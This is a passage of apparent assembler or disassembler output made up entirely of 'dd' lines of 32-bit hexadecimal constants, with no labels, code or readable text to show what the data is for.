392248ADh, 245F166Fh, 0BDE56861h, 101586F5h, 4A0419D6h dd 6D6012A2h, 607CB5ABh, 1132231Bh, 0F8485948h, 0C7F76BB7h dd 8B5CFC29h, 508C60Ch, 5F706EEFh, 0DE8D2D33h, 30E2B698h dd 0FB4439DFh, 0DBBF30A4h, 0BE619B45h, 8ADC4AB9h, 0F683A0ADh dd 407A63F3h, 0EB00DE91h, 11178F60h, 0AE944246h, 0D4BA7078h dd 0CAE8007Fh, 0B2B601A6h, 1A2F250Dh, 452E8C04h, 3370086Dh dd 0CBD1BE12h, 7172039Ah, 0B362AC27h, 0CBC1436Ch, 3231B058h dd 0EAE745D7h, 0EB79AADBh, 0E953FCF5h, 7A94D22Ch, 7772C89h dd 93E8186h, 70302A87h, 0EF90CB89h, 53028EF1h, 25B5FEA8h dd 0D4B38DE1h, 3A419F11h, 7399E2D7h, 1EAD2CFCh, 0ADBAE72h dd 7536FA4Bh, 9CB2C76h, 40D57F4Fh, 0E0ACE21h, 0F47CA19Eh dd 0C4E405A9h, 0D34087A4h, 61C8BAE9h, 0AEA3AD25h, 0FDC312ADh dd 60F17EE4h, 44AE7ADh, 2BF7A62Fh, 6A370B9Bh, 0FF01BD4Fh dd 86E319E8h, 59C9BA77h, 0EB943F17h, 0B06EF8E2h, 0CFAF5647h dd 6A1953DAh, 5FC541CCh, 0D88251EBh, 0E5AF415Eh, 55DB8C39h dd 0B85B1837h, 0ED193DB6h, 21674BBBh, 0CDE90678h, 1BEEE953h dd 1217D141h, 0F5A0D8CEh, 0A1F62B28h, 5D3D6389h, 0E333925Ch dd 3321F6CEh, 5EC5C6ECh, 1552F179h, 68EEF095h, 53078C4Ah dd 0B235482Ah, 0DA4ACE83h, 922C9BB9h, 0D1CED145h, 1CE4D16Eh dd 0F0509062h, 32311718h, 0BB62186Fh, 0E04890DCh, 89094C61h dd 99D7D613h, 8ED1F827h, 3CB5A83Ch, 31F1A278h, 0F13B2E32h dd 0DDD27DF3h, 0E166ABEBh, 0A2D8D00h, 456D770h, 805B1884h dd 64262246h, 0C286F1C2h, 0E3957F0Fh, 30E10AFDh, 2F097C7Dh dd 967F39Ch, 8E2C3699h, 47647988h, 927E8278h, 9E5248A0h dd 319E34C5h, 7280B532h, 0E12D913Bh, 3AF635A3h, 94F1B957h dd 156D3BC3h, 0E7C04E01h, 34A1E24Dh, 0A2CF5B20h, 0C053F2EAh dd 0B3203B1Fh, 66247B26h, 3ED09660h, 0AF80D43Ch, 278D0F48h dd 2E4AB29Ch, 3EA98EFAh, 0C776663Ch, 953805B3h, 3CD41564h dd 58D53FE4h, 5DCFF36Bh, 5038FEA8h, 0DDD7E74Ah, 5FB611ACh dd 0D53B89F0h, 507DA135h, 568E03FDh, 898E06BDh, 0F92307C9h dd 0C776AFD7h, 73E0F276h, 0E916B6EFh, 0D7106D1Dh, 45083231h dd 4E769554h, 95BCC915h, 0F05DAB28h, 76504F3Fh, 8CA9FB0Ch dd 6013D877h, 0D5C759E1h, 0E6EC426Eh, 7050D3A8h, 2CE7987Dh dd 8248F0BBh, 0A9012552h, 30735A46h, 917D4A8Bh, 0B9AA597h dd 6B039325h, 0C6D90EEBh, 1307C1AEh, 67EA4BFBh, 0C49A9432h dd 0E2D62758h, 270A9D8Eh, 96ED83Fh, 1BCDAD28h, 86476E15h dd 0A6A56FEFh, 1B192FD0h, 0AFDBF477h, 0D3D1F6AFh, 0A3E2D789h dd 669393Ah, 6106787Eh, 9E06BF2Dh, 317C9D90h, 2C443432h dd 4FFE403Eh, 0F6B0A713h, 0CC7E704Fh, 0E8F1836Ah, 0E393C7EFh dd 896032CFh, 91C15B7Bh, 6CA36C1Bh, 52B13305h, 0C8999790h dd 547BE5C3h, 0D8720944h, 0B45973A2h, 0A21F6DE4h, 5D891E50h dd 7A6B97D4h, 0C83B1D62h, 65C55E05h, 955A18E5h, 235CAF2Dh dd 0CBD3C93Eh, 368A0CFEh, 32CB9BE6h, 0BA00E51Bh, 63B1FE34h dd 0A293FBBEh, 0CC5DC5C7h, 0C8444F39h, 909971ABh, 0A35E1342h dd 0BC3C91B1h, 1E190795h, 0BCAA4F0Eh, 0CD071CFh, 0D925CB71h dd 3BEB303Dh, 476F26E4h, 287ED70Eh, 46D9DE26h, 307A9041h dd 0B1C7577Eh, 0E10629FEh, 7A540BEDh, 7E7ED0D6h, 0E5C70175h dd 3D5172Dh, 32679A79h, 0D5DD3AF8h, 468355Ah, 0D2A6E42Eh dd 580AED7Dh, 0AE9E6BB4h, 0F33A1603h, 55BCB0D4h, 232925Ah dd 581B46B6h, 504B2DCCh, 9EF9DE95h, 0AC6EE6E6h, 0DFB68C2Ch dd 0A896EB21h, 0F08C8F17h, 6667CFD0h, 0D4CA72A1h, 43B1E902h dd 1049E50Ah, 7A76089Ah, 0FD9963CCh, 0C66DA28h, 0B134C5F4h dd 162A6894h, 868B3322h, 2A65C617h, 8AD5700Dh, 97079F2h dd 0EB615E90h, 0F3E6793Ch, 0EC282F75h, 0A88BB60Bh, 0C9D8CB17h dd 79EE403Ah, 0B12D6AEAh, 0DC08F98Ah, 0D3FAD222h, 8A6E8335h dd 0F0C17D0Eh, 0B4B687Dh, 7E8C9BA5h, 661ACE65h, 0C3ED9E10h dd 29BB002Ch, 0B17D13D1h dd 4653B0DBh, 0FAFA245Fh, 2E2377D9h, 8D868869h, 0E65714B9h dd 92D6E9E4h, 0DD2DEAA8h, 0C372C3FFh, 0CBE25ECEh, 7DC4500Bh dd 64BD202Ah, 7A21755Eh, 97F19F3Ch, 954D5104h, 0FA8D5D05h dd 0F03B50E4h, 9058D78Ah, 3BE157FDh, 0C92AAD9h, 1BA9606Eh dd 0A125A555h, 61C28654h, 53FC4129h, 0C2D9DEBh, 5FCFF16Ch dd 0FCC5F319h, 0AE70E4B7h, 0DE05FED1h, 1C73DC58h, 96EEC0D2h dd 9EAB346h, 6D743231h, 92B8E18Ch, 0A9D50124h, 1DB3A496h dd 97F0D382h, 7D561E2Dh, 77E37BFCh, 0D12F4A45h, 687E973Ch dd 7A89E5Bh, 0AC141CDEh, 66FDE4AAh, 29C09E72h, 2D960CE6h dd 24C0D9DCh, 9378EC51h, 490E716Fh, 44545FB6h, 4DA1D324h dd 7FC907D9h, 3CA9D8B5h, 4A088503h, 70054995h, 0B28139Bh dd 5F563357h, 67A8C685h, 7278EEFCh, 6CD67EBAh, 63FFC97Dh dd 0D43C8472h, 744F18E4h, 26CDFB8Eh, 0AA59B826h, 0C43651D6h dd 2EFAB91Ah, 0E7DCB238h, 0B9A83F1Fh, 39A1F20Eh, 0C71B2651h dd 0DD837F1Fh, 30CEA9C9h, 48B460DBh, 2F015A0h, 911899Bh dd 0FB54A629h, 9F3761E0h, 0F2E67685h, 0B9A8D1DFh, 0E5C5600Dh dd 0FE3E7F6Ah, 2496421h, 0DD86A8B2h, 88CB19B3h, 8828B939h dd 3375CAABh, 0C404007Bh, 13660B54h, 0F5C52C09h, 2231EE6h dd 57D9F738h, 1E3F4C0Bh, 0A693F349h, 53DF6823h, 6CA97560h dd 4BCF1646h, 874DD5C9h, 0CE451E47h, 9EBE8F5Eh, 34086482h dd 0F9ED509Ch, 975C1577h, 1532392Ah, 2AC0700Eh, 585FAD4Dh dd 0B8178B5Bh, 8CEF1C94h, 0B36B6CADh, 1AA010CDh, 0C83BE882h dd 38ECDF28h, 38BE8F03h, 0DCA5DA44h, 0DFF5B99Eh, 210C2376h dd 0A810CAFBh, 1419362Ch, 21379A66h, 2BBCF822h, 0AC5107F4h dd 0D3718B93h, 9EE5F62Ah, 4EBAF474h, 88590C61h, 210A2BBEh dd 713DBAD7h, 0FF6F6BE2h, 6468D777h, 1078FCB0h, 0C00B7C4Bh dd 0B54C67DAh, 69637061h, 20DD9904h, 0AA2FFD9Ah, 0CC77EC2Bh dd 0E952140Dh, 115FBC61h, 2AC06C82h, 81CC7645h, 323176AAh dd 42CA4320h, 0E38B66CEh, 0AC2A6BEBh, 1D37476Fh, 0DBEA69D7h dd 55677DCAh, 906BA321h, 0A747B720h, 9AEF787Eh, 94DD723Ah dd 2C01B4C8h, 17DB59F6h, 5E44048Bh, 0A4F2738h, 3BBB0967h dd 518118FAh, 0B2F45CAFh, 9AFBFEFh, 5F28C7FCh, 2A02DE5Eh dd 0ABF4D562h, 4303BCB5h, 0AEF4BE89h, 0DD6EECEh, 3CD683F4h dd 518371F4h, 0FF17CC3Ch, 6478BECh, 6DA115EAh, 280F9412h dd 6762E8E1h, 72C35EC7h, 8AC07E40h, 0BEEC9525h, 8D412ECCh dd 7C323B8Ch, 0FA608AC9h, 0B682C94h, 77EAD688h, 4F816CA3h dd 5357D64Bh, 0FD47CC52h, 67D11F63h, 9FDF19Fh, 0E202ECBFh dd 0DDEDA940h, 2BE5E484h, 4D0F8213h, 0A09FD16Dh, 6836891Fh dd 0C2B2DAE1h, 0F748D5F2h, 16B290F3h, 0B60AD253h, 0B92125A8h dd 0F9D0A9A8h, 0B0DFA503h, 0F08B9A69h, 3283432Dh, 0AA0BF444h dd 0DD343546h, 0BD4661Ah, 0D8E85601h, 979BB3E4h, 80714345h dd 2641BA5Bh, 1168B217h, 75A20F2h, 3231769Eh, 0D4A965FEh dd 7CA62B7Bh, 0E813CBF0h, 97EB4D6Ah, 0FE851E49h, 0CB2579E0h dd 0F52C6E54h, 79AD241Ch, 0A3C44785h, 52389F7Ah, 0DDED52DAh dd 0BD1CBEBFh, 6594F586h, 17392876h, 0D0F294EFh, 5551BEF2h dd 5A24A7FBh, 0FB6A344h, 0E105D2F5h, 0FDA5A6E6h, 0E523A6E2h dd 0F29EEAB4h, 0D4184029h, 80C74AD2h, 4CFC2AD6h, 7ED215C2h dd 0F226AD18h, 3070DA87h, 88FC1884h, 0ADC44C74h, 1C2B3A38h dd 7655D644h, 45818CB1h, 8BA20D09h, 195E7248h, 0D99A1614h dd 557B6673h, 0A06AFE4Ch, 0C52D919Bh, 0DEDD4B8Eh, 8F9259DAh dd 2E2CD072h, 0A7DA8072h, 0B5357E2Ch, 76C84A22h, 0CA87353Ah dd 58973614h, 0DA2827A7h, 50BBA7AEh, 84EB8675h, 663EFC63h dd 0B2A3F840h, 9FA151B1h, 4F80F197h, 3EEDAD7Fh, 3EC236EBh dd 0CD14F5FCh, 0C07B572Eh, 0E7B6734Bh, 82E63837h, 80816A05h dd 1E0E2CAAh, 0F16BE059h, 4AE192ACh, 0D8D5BE1Dh, 0DD8D9408h dd 230DB1FCh, 0D8F43231h, 4B90C447h, 67A676C7h, 2C2C6F24h dd 744EE86Ah, 0D3989B8Ah, 3CFB34F5h, 5A0B0587h, 0A50A962Dh dd 0E9AE596Ch, 73E72E49h, 4EB46278h, 0DA5B9515h, 234B555h dd 4FC80624h, 3E4124D5h, 3E329DBFh, 4BCE8A20h, 3003A018h dd 216FEEFFh, 36796EAAh, 51E86A9Eh, 655F1B83h, 3BCE9B84h dd 0D0CE2810h, 25E5BE08h, 0B2A90AF3h, 0C1C73A62h, 46542B90h dd 0D8789327h, 160867D6h, 97B5FE85h, 0CCDCC020h, 3F2F96BEh dd 0A19BD56Ch, 1900D97Bh, 6D90B33h, 0FC0023E3h, 879BBA61h dd 5B1A3580h, 0FC47D714h, 0D39ED452h, 0C5086AE7h, 0B67C42EFh dd 53B691AAh, 0D88F6134h, 5C0F4C46h, 2123A06Ah, 53C465C1h dd 3CF8B28Bh, 0BFDC5352h, 953BF0CCh, 42393448h, 0A47F8518h dd 3828E39Eh, 5ADF4F84h, 3231D03Fh, 4B75CF1h, 0B7A9931Bh dd 58A427A1h, 96C956D8h, 0ABF29276h, 2B1A9C24h, 22CF7B07h dd 0F7CA9AEBh, 0F478DC73h, 1E99706Dh, 6BF84FDCh, 0B7E6C5ABh dd 4355B947h, 327B69F8h, 0AFC07D20h, 138CF993h, 774AE9CBh dd 1AAF3AFDh, 949AC798h, 9B6768EEh, 59B3FB48h, 0E9878596h dd 700C863Ch, 0F2DD5AFCh, 171FC0F0h, 0C7627B23h, 1882B32Ah dd 7E221072h, 0AFC7DAA3h, 2A852070h, 867C0C9h, 0AD83CF2Fh dd 0A56DAF51h, 0DC966224h, 46FD5711h, 0D0A160E2h, 0D714511Bh dd 0D124A28Fh, 118A5BF3h, 0F3252BF4h, 387D4296h, 1879A9B4h dd 693FBFE9h, 920DF882h, 0F4119500h, 1A1EA4C4h, 6153ABACh dd 0FA536660h, 94D60A5Dh, 4559B132h, 0B8E4041Dh, 0CF09BA9Eh dd 0FA2594CEh, 3DC0917Dh, 0D6F4CBE5h, 97667E78h, 8232E1EEh dd 10E8C51Bh, 0AC230005h, 0A067A5F5h, 22E24225h, 0A42544B7h dd 8222256Ah, 2B2AA6D6h, 7341A376h, 36CD3727h, 2BE676Eh dd 0C6B24B1h, 0FF9DC47Ch, 0A2FBBE11h, 1B0438D1h, 0BB35249Bh dd 19221018h, 0A3A8E3F2h, 0F68C7DE8h, 6F9FB3D1h, 0EFA66E67h dd 0B7A4D48Dh, 0FF2D894Ah, 51086320h, 53C13F35h, 0A587B630h dd 0D8904BCDh, 0F172ACA1h, 0CD451C07h, 3C3B9B97h, 0A5217F40h dd 3910E8F3h, 85FBAD76h, 69450A1Ch, 193AB4AAh, 9549B1EDh dd 0DA0FF20Eh, 3231249Fh, 82F35034h, 4567F06Eh, 0F891C02Fh dd 0B7430A3Bh, 5CE68F95h, 0A78D3498h, 0D967BAEFh, 18CA2604h dd 0A25827D9h, 0D0F270F3h, 32DF8E58h, 5288E0DCh, 8A1A2661h dd 7889D860h, 0E206B618h, 787ADA6Ch, 977EE07Ah, 7E45A5ACh dd 35A27E70h, 0B70036BDh, 8964AF9Ch, 0D5501308h, 7F58143Dh dd 7A05232Ch, 0EB8FF794h, 50C5EA6Dh, 345E92BDh, 808EAA96h dd 72162D6Ch, 92C1C782h, 152C7EACh, 1ADC61C3h, 23335098h dd 397EB940h, 0B10CB071h, 0FBD258F6h, 893E1516h, 89DF0FFBh dd 0B2076457h, 7B1656EEh, 0E104739h, 5F367F95h, 821158AAh dd 0BA93B31Ah, 62B0F08Bh, 86C36794h, 465AF5Bh, 0D39490F3h dd 9D616A95h, 3CF560B6h, 0A1BC3DD8h, 0B20A616Eh, 29FFF0A7h dd 3FC6F45Fh, 74FE8333h, 575AF108h, 23FA887Fh, 7F656A26h dd 0BA49986h, 0C8C56C09h, 3D71BAD3h, 1B2AD93Fh, 1BACC157h dd 989713D2h, 56FA1F47h, 280C76CBh, 528D0129h, 42E703FCh dd 70F8C45Ch, 6C541A2Eh, 6E5FC964h, 0EDB0BD2Fh, 5350F3ADh dd 0D152B548h, 0DA2F18CDh, 0B710C3CCh, 0EE74F13Fh, 19FDF633h dd 0B6043E5Dh, 0EF396620h, 0CCDB5E8Fh, 3D557595h, 9738BE1Eh dd 0E3991AFFh, 651C5C16h dd 133F55C3h, 129D0177h, 8D98DE03h, 21F030C6h, 3E285AF7h dd 410B4562h, 43C233ABh, 0E2ADB4B2h, 46D79715h, 2F498C83h dd 0F2C43D6Dh, 0C581E57h, 83252867h, 0A0982845h, 0D70DB2Ah dd 5BB54454h, 3B59F88Dh, 6977DA2Fh, 13CE2F27h, 0A7DBEE89h dd 8EEF7C4h, 44B76E9Bh, 5C41DA1Bh, 9AFFF680h, 530B92A8h dd 0FD4BDDEFh, 4A22600Ah, 811F88BEh, 4118F04Ch, 8BE41277h dd 64521C9Dh, 4DE9D74Dh, 0DCADB8h, 5C5157D0h, 0BC633336h dd 5E365A8Ah, 0B7EBC9A0h, 733CF583h, 98519710h, 0D62571CCh dd 6B5CA9F1h, 5065991Ah, 8D3231DDh, 60598156h, 57B6F138h dd 0DD09EDE9h, 22023E3Ch, 76D46A63h, 5E50EE3Ch, 0D43A1937h dd 0C6BE7958h, 83EC3340h, 4683CE6Fh, 133727A5h, 6AB5FE7Eh dd 91E7325Eh, 0EB1221E8h, 89E3EBB7h, 6EE77B83h, 0DB16C17Bh dd 0D7C5BAC6h, 16432BCBh, 0BC089B63h, 3E333BDDh, 4C323195h dd 436A0333h, 0BD64AA41h, 147127AFh, 18B3B9B2h, 42F07F3Ah dd 0E491C01Fh, 784A42E2h, 5D8B81D1h, 8987848Dh, 464CD9AAh dd 0B8A7512Dh, 5600795Bh, 889DBB42h, 0A695D0D9h, 0D8203660h dd 0D0E8BFECh, 5A599015h, 78583C28h, 6B1DC260h, 3BCE9EA5h dd 5B3D4925h, 23C1D2F8h, 0DF187146h, 4B00B11Ch, 157C53CDh dd 0BBB73231h, 0B8A6ADE7h, 9550D8CDh, 5ED0E048h, 0DDE2F4A4h dd 0CEBA750Dh, 0F5FC272Ch, 0D820FDF3h, 4940FCCBh, 4BB33EA5h dd 6D1E8323h, 198B5293h, 92D6234Fh, 0B2766BA1h, 0BBD8D1C0h dd 20C035D0h, 0A5955D53h, 14C0397Eh, 0E7577ADDh, 9B58A3D3h dd 420C88F7h, 1F21621h, 5B294A98h, 1796E86Fh, 0D6C23231h dd 1D586839h, 0B3A611F7h, 11A19F81h, 7D3630CAh, 525B2E27h dd 8D70FB91h, 965B2B81h, 8268EC25h, 62E8C7A8h, 0A5A60644h dd 7024A6E2h, 0E1826FD4h, 0E52B3A1Bh, 94482A0Fh, 0A8BC5251h dd 5F6775E4h, 77101BA5h, 0FB95B184h, 2984684Ch, 523231B9h dd 4074AC28h, 0B5954AA9h, 346603B8h, 0B603D2E3h, 7771E8A8h dd 65688AF5h, 0B883E319h, 0FCE36905h, 232EAF9Ch, 511BBD91h dd 87734F1Bh, 2A574913h, 0E5FF5CA7h, 443599FEh, 3A9F85A9h dd 0E4EBF8BCh, 707EFF62h, 38431B59h, 0D83B97B0h, 464A4129h dd 0EDD494DCh, 1D26BE4h, 8DEE066Fh, 0FA072E70h, 0E305EB5Fh dd 99A2D5A7h, 44F7628Ch, 9693967h, 0A124CF88h, 0CA8A55C5h dd 2588845Ah, 0B279E94Fh, 0C452CD40h, 0F7D24127h, 8217132Eh dd 0A12B9230h, 5275C8FCh, 0CAACC71Ch, 32319715h, 4BFD5A15h dd 0FE55F199h, 0BF831886h, 0EF24F7E2h, 71AC6FEh, 6EA96F8Dh dd 0EED027CAh, 722696B4h, 1D7189D6h, 3BD40971h, 0D8DDF30Fh dd 4EB119A6h, 9C9EC769h, 4228DA8Dh, 6C4E57B6h, 2F210E69h dd 0AA55F68Bh, 0D235E91Dh, 0CE1C3220h, 6870D92h, 7F86ABF6h dd 12EFBCACh, 94AAD34Ah, 989E9D91h, 95FF4933h, 1EE1B900h dd 109A8921h, 1FB14134h, 51DAD146h, 87808CB4h, 3455182Fh dd 2BFF471Ch, 0B7BDFCF3h, 0C669189Ah, 0E066BBDBh, 176E2114h dd 2EAFAD39h, 8E34B8Eh, 68A724h, 5C8B9B64h, 30BF3D0h, 0EA5FE665h dd 0DC4270D9h, 66730F4Bh, 8EAE938h, 0C82A5AA9h, 977E4BFCh dd 5B9A706Ah, 0BE9C8D12h, 5F7503CFh, 0D5338BEDh, 7DC8D75Ch dd 74C116B9h, 0BADC4FBEh, 442D06E1h, 844A42EDh, 0AB93AE88h dd 43E7D8Ah, 693C7C15h, 0DAD6E4FAh, 0D02677Ah, 4A913990h dd 55EE481Ch, 0C7BB563Fh, 7770CA52h, 0E634F761h, 78F3C765h dd 332F9F61h, 7D18DD09h, 3DE1A812h, 4CA171D0h, 0A3672D05h dd 0E195471Bh, 7C5DA371h, 75AAA421h, 9CE55183h, 0C1F4FCDCh dd 0D44F5055h, 98B58247h, 78C64BADh, 0AC39097Dh, 9F7CC39h dd 0BB12A625h, 2167ABDCh, 771C7D68h, 32207DE8h, 82BACFF0h dd 3635F889h, 45A46596h, 25A895B7h, 39D7B8F7h, 0AA365B04h dd 9721C0A8h, 0E6E8BB1Fh, 2978CFF0h, 0E17C8FF7h, 65005944h dd 127BE36Eh, 1A327030h, 0A4EBE5DBh, 0E61278D0h, 0D0833F3Eh dd 6DAD97B8h, 0F092A715h, 0B564357h, 0C24B3966h, 0EEC376C3h dd 6BFBE31Eh, 0EFFDEF3Dh, 0B965CEABh, 0D1EC47FCh, 495EA07Eh dd 0CC2BBB0Fh, 68E43E8Ch, 47517240h, 0E8FFC147h, 131E3A41h dd 3F14F979h, 0EE137DA8h, 4C4BB40Ch, 0EC4C62A2h, 216AC5D7h dd 3046A124h, 3DBB35C6h, 7666ACA5h, 8F710AADh, 0A502C4DDh dd 8CEA263Dh, 7135F63Ah, 202E6C80h, 3081EE66h, 0A88747BAh dd 0AA4930DAh, 8C691E06h, 73E8607Ah, 72030456h, 0D2138F7Eh dd 7E4DF637h, 0C847BB10h, 81373CF1h, 0A56AB1E3h, 5296A76Ah dd 0AC87913Ch, 93166B6Eh, 0D87A29D5h, 0DA440B78h, 0E403A4E2h dd 0DB1FD8Fh, 0C7A21AA9h, 14D7D23Fh, 2F8086EDh, 26598371h dd 0B6914447h, 0E2FC4BA3h, 94D20602h, 0A39F512Eh, 0F7465B3Eh dd 0E173DDADh, 59640BFFh, 449EC9F8h, 0D6E48679h, 98F90A81h dd 229749C0h, 9D7F78D1h, 0DFC6F06Fh, 87323177h, 328AF443h dd 9E8367BEh, 4FA8659Fh, 0B7C1D07Ch, 37D22353h, 0C0D93BA4h dd 21D4E9FFh, 302C87FEh, 57AD21A8h, 0D1188561h, 0C6C54632h dd 5C332C80h, 4D0D59Fh, 0D1E852B4h, 177FD3B1h, 0EDF7EAB6h dd 0C910E108h, 0C1F21B5Dh, 7AD02C1Ah, 640F9CCAh, 92BA16AEh dd 0ECE072B6h, 5A3A0EB6h, 0FD3A2284h, 3814125Bh, 1986FF13h dd 0D3666F00h, 8C858FAFh, 0FA4C200h, 0E156685h, 97F7A487h dd 459C1953h, 74A2CAC4h, 19B1F2D7h, 68265FD6h, 0C16A7D4Ah dd 0ED332802h, 17F1B261h, 6376D12Dh, 4EB3FA36h, 97BEEF9Fh dd 83D03231h, 6F8B8599h, 9205CB11h, 0C5E1E53Bh, 42976658h dd 0DBF79D5Eh, 709EFBAFh, 0D7713A94h, 8AFEFD69h, 0D0564DC3h dd 6EE8D638h, 26D2034Bh, 10A7D0BDh, 625CA065h, 7EEE9440h dd 2A0DFC75h, 0A2488FC1h, 4BC2CAF7h, 24C8C8C7h, 4B53CFB1h dd 0F5EA2B62h, 542BF768h, 2D6AA3CBh, 6F876009h, 2E94361Ch dd 0F12A9256h, 9DB2AE8Eh, 30750C30h, 35B03B5Bh, 459945A4h dd 785ABD24h, 57CC9D74h, 667F5907h, 91304FB9h, 0F1DEB7E7h dd 0BF89BA8Bh, 2B96CFC5h, 7998CF89h, 35D9ED63h, 0FE0EE652h dd 0B8F969CAh, 8B4CA745h, 0FB096827h, 6F90F9ADh, 6E0C8FCFh dd 62EF0776h, 3D7EF79Eh, 0D4B0EB6h, 4FB8637Fh, 2AA7A95Fh dd 0C9FFD5A2h, 63850ADCh, 0B26627h, 0BF5BB7F3h, 6EB44A69h dd 8A6CCDF5h, 8EB5DFACh, 0BFD3B163h, 9FD0D83Ch, 0A43B785Eh dd 8A34F1CEh, 0F11783F9h, 3D1926CFh, 0C0B6C2F7h, 53522C10h dd 5EB1BB2Fh, 8C57746Ch, 0AA1B27C4h, 362DD31Eh, 0D41E2D96h dd 0E5203439h, 41C7A680h, 1D35D5E4h, 0FB9A73B4h, 72DFBE9Bh dd 437687Ch, 0D957C360h, 19E2B8C5h, 0D6A8D524h, 642488BBh dd 0F3F988B5h, 0BA19B554h, 40E785E0h, 0C9841365h, 0C334E43h dd 0AAAF4D27h, 5B574DA0h, 0FB280132h, 0D5D11D73h, 3BF03276h dd 0FD761E86h, 0A2D2864Ah, 22A5B33Dh, 2D87B880h, 2D29709Ah dd 15A46F54h, 265679CEh, 5EC03926h, 1187AF60h, 0B46E38E1h dd 0EF0C65D9h, 0DF506184h, 0A57AB1DBh, 1AC03F00h, 6B2DCA67h dd 0B7936C48h, 0F80F2A33h, 561CE320h, 65217038h, 0BB85E23Ah dd 0F7A970D9h, 923EC243h, 0C8AD8E08h, 1E9D1198h, 2FC1CA2Dh dd 0F320E2FFh, 6ED51D2Ah, 0E0A1E02Bh, 85E7BBAh, 0E9A1EE13h dd 0BA7F7188h, 0EA07AD43h, 0E8C74224h, 8A668EB6h, 516F6FA1h dd 7B6B853Fh, 5E755DD2h, 0F752BF7Ch, 20120A77h, 0B8EDD80Eh dd 6C24D183h dd 0A75CB430h, 0EA6A3A6Eh, 0A083EEA1h, 0B98BB79Fh, 9C165C11h dd 44BC2B12h, 0AC11183Fh, 70D67BCCh, 7B9BE3A6h, 5C4CBDA3h dd 5DF2566Dh, 305E9A16h, 0F7D7A148h, 8F8B58E1h, 252C6C6Bh dd 0FFD15671h, 3B537320h, 0F2F397E4h, 0D9228E71h, 79247E7h dd 75ACDDB1h, 0D2EB1AB0h, 17490D0h, 50028AC0h, 2F000368h dd 4C3BDE18h, 6561F5D3h, 7E4D1D6Ah, 98FFD44Eh, 0BCAE85A9h dd 0AEF2E5C2h, 0BEF2BE18h, 0D5662819h, 4AB7FDA1h, 632F6798h dd 3AED07DAh, 0ADAF3D5h, 0C9A8CC06h, 0D746564Bh, 8DE45CEh dd 9F0F07CEh, 9CD70693h, 1F47698Dh, 0AE2F3C14h, 5EE37527h dd 38990128h, 0C7D96F9Eh, 0E8CC76DDh, 633908D9h, 304B3A6Ah dd 8E94A534h, 694301E5h, 0CFFCC69h, 6577788h, 0D78AA919h dd 49846678h, 8167AB39h, 0CEC08D48h, 9AD07A3Eh, 45A712AAh dd 2574FD4Ch, 0FBFBB265h, 0C9FCA9Bh, 5667BB22h, 0E8C8CC02h dd 808E5B3Eh, 421E8E07h, 0D2B511BFh, 0DA08ED01h, 0E4C69876h dd 40199F6Ch, 9B6E75C0h, 0FC0E442Ch, 13B96DF2h, 6F84892Dh dd 0A41559F6h, 0CEDC2138h, 399DEFB2h, 2EDCFA57h, 0EA323123h dd 0F0BB3890h, 1B0640BEh, 6C873C3Eh, 6EC820F6h, 1B20681Fh dd 0FCFE57DFh, 0FBFF05FEh, 0D699AFEh, 0BD394690h, 0C185D133h dd 0E3165DA6h, 63574895h, 0E95EA0B4h, 7F0E550Ah, 0B92B000Ah dd 77F28047h, 6B9E45Dh, 1B392CB5h, 207EE2E8h, 27A54BACh dd 1358FB2Bh, 0C30BCA51h, 32316335h, 0B4A43D96h, 434E9C8Ah dd 182BCF5Fh, 0BFEB2E69h, 62FE851Ah, 7D7A5A8Ch, 358E125Fh dd 9DE41501h, 7C2F7506h, 0F40C9033h, 0F35C220Dh, 85474FC5h dd 0D23CDF13h, 0BE07FDD7h, 5B7D4464h, 1D3BE85Bh, 33B5186Fh dd 22DFAB9Bh, 95DC15D0h, 31D869CFh, 52DD6932h, 0F25B192h dd 0DEB0BD97h, 0CDBAF405h, 0F1CCEC13h, 2870EFACh, 0A462384Ah dd 8E231110h, 0B8A69483h, 0F7D95D83h, 98B65EBDh, 58C369E8h dd 8DB3AD4Dh, 0C3C3C097h, 7D3AD5DBh, 76FBEAB2h, 3BB281B3h dd 55AB653Fh, 23ECC3CEh, 9D7DDF48h, 3706E7F9h, 39BBD185h dd 0D4AC513h, 635A5AA4h, 94DE15C2h, 0F6A633D1h, 75504398h dd 195C225Dh, 0D7211023h, 1F3574BFh, 6985092Bh, 8A49282Ah dd 5EC894ADh, 9786AE98h, 0EE8904E1h, 440CC575h, 525337C9h dd 0EBDA194Dh, 94376089h, 0A4B09602h, 49F10826h, 5E21C2B5h dd 413B7404h, 0D0727BDBh, 94C1264Ah, 0CCE9FC6Dh, 5D521DBAh dd 0D9E48201h, 0B9248A18h, 4CABBA04h, 8730448Bh, 91762E65h dd 2F01EE4Eh, 7BD42CD0h, 1D82889Fh, 80335073h, 653738E5h dd 0F5DE3231h, 553CEDBh, 0F3C14850h, 1AC93231h, 7A0ABD83h dd 48BA4750h, 0E1819D96h, 0A8FA9AADh, 4B931BA1h, 249192D1h dd 0B0D6DC36h, 2FB6155Ah, 9E0C6A56h, 411AD81Ch, 9CAE04AEh dd 6B94CFE3h, 2A1BC176h, 6C635EA0h, 0E8E20C6Dh, 65CA6B26h dd 464A72Bh, 0E73EEE8Ah, 0EE7D8540h, 777F00D5h, 37D2D5A8h dd 0E39FAF5Fh, 313BD2CEh, 0AE228732h, 0BF09C426h, 1952ADB9h dd 128D336h, 0A2830868h, 144078DDh, 75C24CE9h, 3EFD1F82h dd 8BAE0BC2h, 0B0334076h, 85B82C00h, 7780F98Fh, 0B239B708h dd 0E026AD70h, 4188CA43h, 0D2988F2Dh, 86EA5F89h, 0B4E6F698h dd 79DCEEA1h, 0AA5CC81Fh, 0DF8C3277h, 21DA766Ch, 5DF4C034h dd 2D83E8A7h, 13CC5DF6h, 0D23E462Dh, 0CCB760ACh, 7619F5AEh dd 62F244C9h, 0F78FF5F1h, 93391771h, 27D83AD0h, 0C5E477D1h dd 0FF01DE80h, 4C519DAFh, 3FDEEB9h, 41EF310h, 0EE586004h dd 8872EF89h, 25CA9A93h, 0A705BF3Ah, 0FE9300BEh, 1898223Eh dd 0D47EBF75h, 4C496F8Fh, 54516004h, 112C84Ch, 0B562C864h dd 69A8C94Eh, 0E71A0598h, 296ED9C8h, 0B1786760h, 6EAE390Ah dd 672EF7A1h, 1AAF8EB8h, 0D2A30C8Ah, 0A18B8AD1h, 0D8861D53h dd 40D8DBDBh, 383A47E3h, 0C0AEE252h, 97860E1Bh, 0D9435477h dd 458F3275h, 3F71CA01h, 17BAE325h, 64A920DCh, 8C3DFB5Eh dd 0D3B427EBh, 194FEE5Fh, 53D94209h, 0D48FB20Fh, 0EE1FBA88h dd 752DCD4Ch, 0C907D239h, 5496272Ah, 411404EAh, 0FC56661Bh dd 0C2D43B0h, 